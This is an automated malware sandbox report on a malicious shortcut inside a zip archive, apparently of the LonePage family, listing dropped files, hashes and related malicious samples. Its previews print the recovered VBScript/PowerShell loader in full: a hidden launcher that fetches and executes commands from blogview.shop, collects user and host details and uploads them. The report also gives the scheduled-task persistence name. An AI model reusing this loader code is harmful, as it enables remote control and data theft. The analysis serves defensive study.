Execution Graph export aborted for target powershell.exe, PID 2448 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5536 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: g3Wg5cdIcT.html

Simulations

Behavior and APIs

Time	Type	Description
07:48:57	API Interceptor	73x Sleep call for process: powershell.exe modified
13:49:04	Task Scheduler	Run new task: ExplorerCoreUpdateTaskMachine path: C:\Users\Public\Libraries\Libraries.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse
	J1IrCccVO6.bat	Get hash	malicious	Unknown	Browse
	IDfVY125HU.html	Get hash	malicious	WinSearchAbuse	Browse
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse
	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
212.42.75.253	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse
212.42.75.253	report.html	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
accounts.ukr.net	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	212.42.75.253
accounts.ukr.net	report.html	Get hash	malicious	Unknown	Browse	212.42.75.253

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UKRNETKievUkraineUA	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	212.42.75.253
	counter.exe	Get hash	malicious	Bdaejec	Browse	212.42.72.183
	report.html	Get hash	malicious	Unknown	Browse	212.42.75.253
UKRNETKievUkraineUA	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	212.42.75.253
	counter.exe	Get hash	malicious	Bdaejec	Browse	212.42.72.183
	report.html	Get hash	malicious	Unknown	Browse	212.42.75.253
UKRNETKievUkraineUA	VM2ICvV5qQ.pdf	Get hash	malicious	Unknown	Browse	212.42.75.253
	counter.exe	Get hash	malicious	Bdaejec	Browse	212.42.72.183
	report.html	Get hash	malicious	Unknown	Browse	212.42.75.253

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	J1IrCccVO6.bat	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	IDfVY125HU.html	Get hash	malicious	WinSearchAbuse	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/taxigiarebienhoa.vn/nini/ybmex/captcha/Z3VsYW1yYXN1bC5jaGVwdXdhbGFAY2V2YWxvZ2lzdGljcy5jb20	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	gI1wz7QtZV.lnk	Get hash	malicious	LonePage	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	846754Ea6k.lnk	Get hash	malicious	LonePage	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	35ZnVKToSL.lnk	Get hash	malicious	LonePage	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	8m9f0jVE2G.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.60
	http://fleurifleuri.com/	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.60

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (836), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	903
Entropy (8bit):	5.419642674774855
Encrypted:	false
SSDEEP:	24:2jXxuqQZjZGrlpKOFoeoQVrL2/8xap7Uu73Nlp/W9:UhQdYHKEojQVeEUp7J7dK
MD5:	F8E87C59004EB9F061BE8865F37C8B02
SHA1:	CD46F893EF8E9B0FBF7865511F6A440390255623
SHA-256:	8E4B8955547646A9CF36CA410A04D694448B3B09874C0B886B0A726B3AFB5F3E
SHA-512:	F372B288FB96F0DF9390750234C5570A3F3DB5FB382263AF18ADFD71997B0802EC724301FA5FA14803D14CEDE3B26D8DA75539BE21BE46F972F517EE9AD84949
Malicious:	true
Yara Hits:	Rule: JoeSecurity_LonePage, Description: Yara detected LonePage, Source: C:\Users\Public\Libraries\Libraries.vbs, Author: Joe Security
Preview:	dim r, c.set r = createobject("WScript.Shell").c = "powershell.exe -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}".r.Run c, 0, false..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulW//lz:NllUW1
MD5:	F5CEFCF9FAABE15358CF8B566E6A0ABF
SHA1:	6DDE6D77F82E54ED027B29D76E8FF9E2B7578C49
SHA-256:	6B2B52BFABE89BBC0B69BEF8B1BEAEA890A0759703A910500BA59C4F73039E8B
SHA-512:	63AAD11B95EBE0E7EDA4A582B2F74411307627C8FA2FC61DB570111EDBB35B713245101C49DA7EE7071E83F320B52A64904224A2F83FDAC7014F85D2E3A54C42
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0zg3c05e.2tr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_15bodsd4.nq2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xhss2ks.emt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5cbhr0pw.qe1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jj02asfh.g5a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgzycyvt.o3g.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tw0hrqt0.s5j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2beratc.0am.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4lx35yt.4zg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmqeati5.3vy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=0, ctime=Tue Oct 8 16:06:29 2024, mtime=Tue Oct 8 16:06:29 2024, atime=Tue Oct 8 16:06:29 2024, length=0, window=hide
Category:	dropped
Size (bytes):	4686
Entropy (8bit):	4.16127911190757
Encrypted:	false
SSDEEP:	96:829LK3PitUz3Enh5vynXS3FZAIJE+P3uaVnFhbABZoALLloMuy:82NK3KSzsh5qXS3FnNXFc
MD5:	279C9A1648BC6230615B8B1A367C9BB2
SHA1:	4D50112E64B1301851D6BF55360530421FA4A539
SHA-256:	C8EF31F77BCBEB07E27401B9A52C5CEFB3E3674B98EB92C576F87B3870682F11
SHA-512:	F65D41F6A383FD1E094DE25914BB66832E413617AA439D9574C06C31D705843C23630A22FB9A4EF702924CB850CFA482C135F095E804D75CC00D8ECE2528B977
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	L..................F...........j.......j.......j.................................P.O. .:i.....+00.../C:\...................V.1.....DW.r..Windows.@......OwHZY.^....3.........................W.i.n.d.o.w.s.....Z.1.....ZY.^..System32..B......OwHZY.^..............................S.y.s.t.e.m.3.2.....t.1......O.I..WindowsPowerShell.T......O.IDW.l....E.........................W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l... .N.1.....(Uo...v1.0..:......O.IDW.n....F.....................L^*.v.1...0.....l.2.....(U.. .powershell.exe..N......(U..DW.r....-...........\|.........w"b.p.o.w.e.r.s.h.e.l.l...e.x.e.......H.....\.....\.....\.....\.....\.....\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1...0.\.p.o.w.e.r.s.h.e.l.l...e.x.e...p.o.w.e.r.s.h.e.l.l...e.x.e. .-.w. .h.i.d.d.e.n. .-.n.o.p. .-.n.o.n.i. .-.e.x.e.c. .b.y.p.a.s.s. .-.c. .$.w.=.n.e.w.-.o.b.j.e.c.t. .s.y.s.t.e.m...n.e.t...w.e.b.c.l.i.e.n.t.;.$.d.=.$.w...d.o.w.n.l.o.a.d.s.t.r.i.n.g.(.'.h.t.t.p.s.:././.b.l.o.g.v.i.e.w

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3149
Entropy (8bit):	5.177562239583205
Encrypted:	false
SSDEEP:	96:2NSWS6PSagvjC3SHS4vb066tuYdcuooQZPUXfYUdkbW+WZPsoo:IDke/Nk3
MD5:	966772134A4CC8DE42227C25735D5A44
SHA1:	326313DC0E48DC7A261CB78959D4817CCCE989EF
SHA-256:	F34BDE1A27F09A187EBAF39736F95412BA46BCEC79E078CD183C45AD491C2C0A
SHA-512:	F4A70FF3E328069718AD672AF8FFBE387069BCCA9EE0700D1ED49E8B9F37BFDC1D7357778EDFC00634B7C66F30B8D2271C44E941953D8F56386F700548E67B9C
Malicious:	false
Preview:	10/26/2024 7:48 AM: Unpack: C:\Users\user\Downloads\748-929-24.zip..10/26/2024 7:48 AM: Tmp dir: C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp..10/26/2024 7:48 AM: Received from standard out: ..10/26/2024 7:48 AM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..10/26/2024 7:48 AM: Received from standard out: ..10/26/2024 7:48 AM: Received from standard out: Scanning the drive for archives:..10/26/2024 7:48 AM: Received from standard out: 1 file, 1634 bytes (2 KiB)..10/26/2024 7:48 AM: Received from standard out: ..10/26/2024 7:48 AM: Received from standard out: Extracting archive: C:\Users\user\Downloads\748-929-24.zip..10/26/2024 7:48 AM: Received from standard out: --..10/26/2024 7:48 AM: Received from standard out: Path = C:\Users\user\Downloads\748-929-24.zip..10/26/2024 7:48 AM: Received from standard out: Type = zip..10/26/2024 7:48 AM: Received from standard out: Physical Size = 1634..10/26/2024 7:48 AM: Received from sta

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7819850dd61b8837.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5790
Entropy (8bit):	3.60701099148605
Encrypted:	false
SSDEEP:	48:WCsJuPRGN11tEOT2KGbRFKGbRCMSB9K+N7L7ca/SogZoxh9K+N7L7ca/SogZoF1:au5GN/iW9LBLnaHE9LBLnaHq
MD5:	18BB8E4C78FB0D2E687D5B8EE62B1E21
SHA1:	DB40914934C89D7D5C7CF7A1E4E0C9BD83B97FF1
SHA-256:	6C1DE54BF447E71AF29083F39EA06386F27181839A72BDDA5C431FF748851691
SHA-512:	70290486803634E485CD9375A18C8B1E039BDCCBC1422468B4694E8EFFB5EABBB74073F27BAA49963238D5EFA65B38D617E7D51289D044EDAB3968CE7A874E9B
Malicious:	false
Preview:	...................................FL..................F.`.. ...&....'......'...:*..'..N.......................6.:..DG..Yr?.D..U..k0.&...&...... M......w...'......'......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlZY.^....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....ZY.^..Local.<......DWSlZY.^....V......................n..L.o.c.a.l.....N.1.....ZY.^..Temp..:......DWSlZY.^....\.....................Z.S.T.e.m.p.....f.1.....ZY.^..jq2oycxc.wmp..J......ZY.^ZY.^...........................Pk.j.q.2.o.y.c.x.c...w.m.p.....t.2.N...ZY.^ .748-92~1.LNK..X......ZY.^ZY.^............................ .7.4.8.-.9.2.9.-.2.4...h.t.m.l...l.n.k.......r...............-.......q............#n......C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk..5.C.:.\.p.r.o.g.r.a.m. .f.i.l.e.s.\.g.o.o.g.l.e.\.c.h.r.o.m.e.\.a.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.........%SystemDrive%\program files\google\chrome\application\chrome.exe..........................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W3QD8SYL8HN7KD3WNSSD.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5790
Entropy (8bit):	3.60701099148605
Encrypted:	false
SSDEEP:	48:WCsJuPRGN11tEOT2KGbRFKGbRCMSB9K+N7L7ca/SogZoxh9K+N7L7ca/SogZoF1:au5GN/iW9LBLnaHE9LBLnaHq
MD5:	18BB8E4C78FB0D2E687D5B8EE62B1E21
SHA1:	DB40914934C89D7D5C7CF7A1E4E0C9BD83B97FF1
SHA-256:	6C1DE54BF447E71AF29083F39EA06386F27181839A72BDDA5C431FF748851691
SHA-512:	70290486803634E485CD9375A18C8B1E039BDCCBC1422468B4694E8EFFB5EABBB74073F27BAA49963238D5EFA65B38D617E7D51289D044EDAB3968CE7A874E9B
Malicious:	false
Preview:	...................................FL..................F.`.. ...&....'......'...:*..'..N.......................6.:..DG..Yr?.D..U..k0.&...&...... M......w...'......'......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSlZY.^....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....ZY.^..Local.<......DWSlZY.^....V......................n..L.o.c.a.l.....N.1.....ZY.^..Temp..:......DWSlZY.^....\.....................Z.S.T.e.m.p.....f.1.....ZY.^..jq2oycxc.wmp..J......ZY.^ZY.^...........................Pk.j.q.2.o.y.c.x.c...w.m.p.....t.2.N...ZY.^ .748-92~1.LNK..X......ZY.^ZY.^............................ .7.4.8.-.9.2.9.-.2.4...h.t.m.l...l.n.k.......r...............-.......q............#n......C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk..5.C.:.\.p.r.o.g.r.a.m. .f.i.l.e.s.\.g.o.o.g.l.e.\.c.h.r.o.m.e.\.a.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.........%SystemDrive%\program files\google\chrome\application\chrome.exe..........................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:48:52 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9844435774103055
Encrypted:	false
SSDEEP:	48:8Am+d5ThR5HcVidAKZdA19ehwiZUklqehGy+3:8Am8bmnty
MD5:	1655145737FCE96F12BA383B49A99DCB
SHA1:	DFD37A431418F1B10896A2326280A671C65840EA
SHA-256:	B50BA51BE5295C65D83212860500C8EEA65BBBF96E7AFBB8C5E408C600996766
SHA-512:	4058A009A2D9B2FB12DB673CEAF30BEB2611324C24810638C8E8268CE0FDFCAB030578964B432D1403F052F20478761C59FAF376CF05BE6EB39565C816D80F90
Malicious:	false
Preview:	L..................F.@.. ...$+.,....{5T..'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZY.^....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZY.^....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZY.^....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZY.^..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZY.^...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............#n......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Oct 26 10:48:52 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.998447683428393
Encrypted:	false
SSDEEP:	48:8yCd5ThR5HcVidAKZdA1weh/iZUkAQkqehdy+2:8y4bmN9Qgy
MD5:	C03B7C6D6E55381A6250ECA08A8E7819
SHA1:	7840BD09784DE8783896B62838A994382EC3F0B2
SHA-256:	10650DCABC5EDD9EFB29EBA97E07968BF8608F25836D3E0F46E488495E900BCB
